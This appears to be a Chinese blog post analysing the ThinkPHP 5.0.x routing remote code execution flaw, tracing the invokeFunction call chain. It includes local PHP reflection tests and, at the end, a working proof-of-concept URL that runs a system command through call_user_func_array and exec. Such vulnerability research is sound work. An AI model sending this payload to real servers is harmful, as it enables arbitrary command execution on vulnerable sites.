ThinkPHP5.0.0~5.0.23路由控制不严谨导致的RCE

2024-01-22 18:36

本文主要是介绍ThinkPHP5.0.0~5.0.23路由控制不严谨导致的RCE,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本次我们继续以漏洞挖掘者的视角,来分析thinkphp的RCE

敏感函数发现

在调用入口函数:/ThinkPHP_full_v5.0.22/public/index.php 时
发现了框架底层调用了\thinkphp\library\think\App.php的app类中的incokeMethod方法

 注意传递的参数,ReflectionMethod接受的参数。如果是数组的形式, 那么参数1是这个类的object,参数2是object的方法。如此就可以调用到index类的index方法

 下面是整个调用链

那么现在思考incokeMethod方法接受的参数是否为为一个可控变量呢,如果可控是不是就意味着我们可以执行任意类中的任意funtion了。这里我们还不能直接调用system,exec这些函数,因为它们不属于任何类,它是一个全局函数。尝试找一下类中的敏感函数

敏感函数调用

恰好的是,就在app类中存在一个敏感的函数invokeFunction

下面给出一个ReflectionFunction的反射示例

function sum($a, $b) {return $a + $b;
}class Example {public static function bindParams($reflect, $vars) {$args = [];foreach ($reflect->getParameters() as $param) {$name = $param->getName();if (isset($vars[$name])) {$args[] = $vars[$name];} else {$args[] = $param->getDefaultValue();}}return $args;}public static function executeFunction($function, $vars) {$reflect = new \ReflectionFunction($function);$args = self::bindParams($reflect, $vars);// 记录执行信息self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');return $reflect->invokeArgs($args);}
}$vars = array('a' => 5,'b' => 10,
);$result = Example::executeFunction('sum', $vars);
echo $result; // 输出 15

在这个示例中ReflectionFunction函数没有牵扯到类,sum是一个全局函数。如此我们现在可以尝试反射条用system函数了,

下面是经过我测试的反射调用exec,它可以弹出计算机

<?php
$reflection = new ReflectionFunction('exec');
echo $reflection->getName() . "\n";  // 输出函数名 
$params = $reflection->getParameters();
foreach ($params as $param) {echo "-----"."参数:" . $param->getName() . "\n";
}$args = [calc];
$result = $reflection->invokeArgs($args);
//echo "结果:" . $result . "\n";
?>

按照这个思路,我就在invokeFunction中让参数$function='exec' 让参数$vars = [calc],就可以执行命令了,不过在此之前看看它的bindParams逻辑

敏感函数绕过

 跟进getParameters 继续看调用逻辑

 看到这里原有的设定就遇到了问题,因为这个参数绑定会遍历函数的参数名,像我们之前想调用的exec函数,其函数原型为

exec(string $command, array &$output = null, int &$return_var = null): string|false

 $reflect->getParameters() as $param 一定会依次得到command  - output -  return_var
如还想调用exec,那参数vars 必须写上如下形式

$reflection = new ReflectionFunction('exec');
$vars = [calc,null,null];
$result = $reflection->invokeArgs($vars);

以上本地测试还行,php正确接解析了null 然而在web中我们传递的参数大多为字符串,除非后端单独处理,否则我们想传递一个null类型的参数,几乎是不可能的,只能换其他的调用函数了,要执行系统命令,还要避开参数null这样的类型。system函数就不行有null类型

有没有我们需要的这严的函数呢 !还真有一个,它就是call_user_func_array函数

它的原型为

call_user_func_array(callable $callback, array $param_arr): mixed

 再次本地测试

<?php$reflection = new ReflectionFunction('call_user_func_array');
$vars = [exec,[calc]];
var_dump($vars);
$result = $reflection->invokeArgs($vars);?>

如此我用参数绑定的机制把exec 绑定在参数callback 把[calc]绑定在param_arr,通过$reflection->invokeArgs我们成功调用了calc (反射类似调用了call_user_func_array('exe',[calc])),null的问题得到完美解决。

回顾一下rce成立的条件
invokeMethod调用invokeFunction 
invokeFunction调用call_user_func_array
call_user_func_array调用exec

代码大致长这样样子

invokeMethod([对象,方法],参数1)
--------这里的对象对象要app类对象方法是invokeFunction 
-------参数1为一个数组[call_user_func_array,参数2]
这样就可调用call_user_func_array,我们将参数设置为[exec,[calc]] 就可以执行任意命令了。

接下来把重点放到参数可控上,如果我们使参数可控那么RCE漏洞就成立了 

参数可控分析

首先看调用了invokeMethod的地方

该段代码位于app类的module方法中,

看一看call是怎么来的

$call是一个数组符合我们的预期,我们要把这个instance换成app对象,action换成invokeFunction。

继续向上分析 instance怎么得来的

 继续分析controller怎么得到的

 这个result参数参数得来的,那就让result为一个数组  让其$result[1]=app类路径。

 如此参数$call的instance就解决了,接下来看action

 全局搜索action_suffix发现这个值为空,不影响action,继续分析actionName

actionName的是result数组索引2获取的,那好在传递module函数参数时,让result为一个数组  让其$result[2]=invokeFunction

如此$call的问题全部解决,看看剩下的$vars

这里放上找vars是空的啊,不要着急。既然vars向上找没有找到,那么在想向下仔细找找,是不是在调用的过程中被赋值。

向下走到invokeMethod方法中

bindParams对vars进行了处理 跟进去看看

全局搜索url_param_type,发现它为0 ,也就说我们会走到param方法,执行完毕后更新vars值

之后返回给变量$args。

进入param中

request对象中的param成员,存储的是我们get参数的内容param可以写成我们构造的[call_user_func_array,参数2],它之后被返回了

在input方法中他会过滤一些值

之后返回data这个数组

 

 好!现在根据我们的猜想get传参function=call_user_func_array&vars[0]=exec&vars[1][]=calc
就可以上让request对象的param成员存储[call_user_func_array,参数2] 参数2是[exec,[calc]]

由此在调用invokeFunction之前$args就准备好了。 $vars的问题解决了

现在目光继续放在module 这个函数,根据之前分析的让result为一个数组  让其$result[1]=app类路径。让其$result[2]=invokeFunction

继续向上分析,exec会根据dispatch的type不同而调用module函数

传参是dispatch的module重点关注它

一样的思路,在app类的run方法中最后会执行exec方法

执行exec方法之前,它会初始dispatch 这个对象

 我们跟进routecheck方法,重点关注成员module

result为我们准备返回值,request->path将url中?s= 之后的内容取了出来

这里注解提示了我们路由访问的规则,可以参考下,

这里depr="/"后面的controller_auto_search 是false

进入parseurl分析,在parseurl 最后的返回中出现了module成员 这正是我们想要的

重点分析route是怎么出来的

其实这里我们就可以根据手册说明

尝试把controller修改为我们的app类地址,action设置为 invokeFunction,module可以设置成index,如果没有达到预期可以在调试

那么app的类地址是什么呢, 如下写成think\app即可

下面就是调试版

跟如parseurlpath方法 

 这里的返回值是准备好的以“/”切分的数组,之后分别赋给module controller action

如此参数的确可控,RCE漏洞所有条件成立

本次漏洞研究结束

赋值poc

127.0.0.1/ThinkPHP_full_v5.0.22/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=exec&vars[1][]=calc

 

这篇关于ThinkPHP5.0.0~5.0.23路由控制不严谨导致的RCE的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/633866

相关文章

Spring Boot集成/输出/日志级别控制/持久化开发实践

《SpringBoot集成/输出/日志级别控制/持久化开发实践》SpringBoot默认集成Logback,支持灵活日志级别配置(INFO/DEBUG等),输出包含时间戳、级别、类名等信息,并可通过... 目录一、日志概述1.1、Spring Boot日志简介1.2、日志框架与默认配置1.3、日志的核心作用

浅析Spring如何控制Bean的加载顺序

《浅析Spring如何控制Bean的加载顺序》在大多数情况下,我们不需要手动控制Bean的加载顺序,因为Spring的IoC容器足够智能,但在某些特殊场景下,这种隐式的依赖关系可能不存在,下面我们就来... 目录核心原则:依赖驱动加载手动控制 Bean 加载顺序的方法方法 1:使用@DependsOn(最直

Spring如何使用注解@DependsOn控制Bean加载顺序

《Spring如何使用注解@DependsOn控制Bean加载顺序》:本文主要介绍Spring如何使用注解@DependsOn控制Bean加载顺序,具有很好的参考价值,希望对大家有所帮助,如有错误... 目录1.javascript 前言2. 代码实现总结1. 前言默认情况下,Spring加载Bean的顺

基于Python开发Windows屏幕控制工具

《基于Python开发Windows屏幕控制工具》在数字化办公时代,屏幕管理已成为提升工作效率和保护眼睛健康的重要环节,本文将分享一个基于Python和PySide6开发的Windows屏幕控制工具,... 目录概述功能亮点界面展示实现步骤详解1. 环境准备2. 亮度控制模块3. 息屏功能实现4. 息屏时间

MySQL版本问题导致项目无法启动问题的解决方案

《MySQL版本问题导致项目无法启动问题的解决方案》本文记录了一次因MySQL版本不一致导致项目启动失败的经历,详细解析了连接错误的原因,并提供了两种解决方案:调整连接字符串禁用SSL或统一MySQL... 目录本地项目启动报错报错原因:解决方案第一个:第二种:容器启动mysql的坑两种修改时区的方法:本地

Python远程控制MySQL的完整指南

《Python远程控制MySQL的完整指南》MySQL是最流行的关系型数据库之一,Python通过多种方式可以与MySQL进行交互,下面小编就为大家详细介绍一下Python操作MySQL的常用方法和最... 目录1. 准备工作2. 连接mysql数据库使用mysql-connector使用PyMySQL3.

如何搭建并配置HTTPD文件服务及访问权限控制

《如何搭建并配置HTTPD文件服务及访问权限控制》:本文主要介绍如何搭建并配置HTTPD文件服务及访问权限控制的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、安装HTTPD服务二、HTTPD服务目录结构三、配置修改四、服务启动五、基于用户访问权限控制六、

golang实现动态路由的项目实践

《golang实现动态路由的项目实践》本文主要介绍了golang实现动态路由项目实践,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习... 目录一、动态路由1.结构体(数据库的定义)2.预加载preload3.添加关联的方法一、动态路由1

Nginx路由匹配规则及优先级详解

《Nginx路由匹配规则及优先级详解》Nginx作为一个高性能的Web服务器和反向代理服务器,广泛用于负载均衡、请求转发等场景,在配置Nginx时,路由匹配规则是非常重要的概念,本文将详细介绍Ngin... 目录引言一、 Nginx的路由匹配规则概述二、 Nginx的路由匹配规则类型2.1 精确匹配(=)2

使用雪花算法产生id导致前端精度缺失问题解决方案

《使用雪花算法产生id导致前端精度缺失问题解决方案》雪花算法由Twitter提出,设计目的是生成唯一的、递增的ID,下面:本文主要介绍使用雪花算法产生id导致前端精度缺失问题的解决方案,文中通过代... 目录一、问题根源二、解决方案1. 全局配置Jackson序列化规则2. 实体类必须使用Long封装类3.